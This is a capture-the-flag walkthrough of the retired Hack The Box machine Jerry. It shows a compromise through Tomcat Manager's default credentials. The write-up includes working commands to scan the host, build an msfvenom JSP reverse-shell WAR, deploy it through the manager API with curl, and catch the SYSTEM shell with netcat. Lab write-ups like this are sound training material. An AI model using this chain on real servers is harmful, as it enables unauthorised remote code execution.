HTB retired: Jerry — the whole box is a default password

htb-retired · Jerry

Jerry is the shortest path on the platform, and the entire compromise is a service you only find if you scan properly, running a management interface whose password nobody changed.

Enumerate

nmap -sC -sV -p- 10.10.10.95

One service answers, and not on a port a default scan would prioritise:

8080/tcp open  http  Apache Tomcat/Coyote JSP engine 1.1

Browse to http://10.10.10.95:8080/ and find the Tomcat Manager at /manager/html. It asks for credentials.

Foothold: default credentials are a finding

Tomcat ships with documented default logins. On Jerry, tomcat:s3cret still works — that is the whole foothold, a password left at its factory value. Build a WAR you control:

msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=<LHOST> LPORT=4444 -f war -o shell.war

Deploy it through the manager’s text API, and start a listener:

curl -u tomcat:s3cret -T shell.war \
  "http://10.10.10.95:8080/manager/text/deploy?path=/shell"
nc -lvnp 4444

Trigger it by requesting the app:

curl http://10.10.10.95:8080/shell/

The service account is the prize

The shell that lands is not a low-privileged web user:

whoami
# nt authority\system

Tomcat was installed to run as SYSTEM, so foothold and full control are one step — there is no escalation. Jerry even puts both flags in a single file to make the point:

type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"

The lesson generalises: always know what account a service runs as before you dismiss it — a low-value-looking service running as SYSTEM is a high-value target. The port-by-port habit that surfaced 8080 is the service enumeration reference.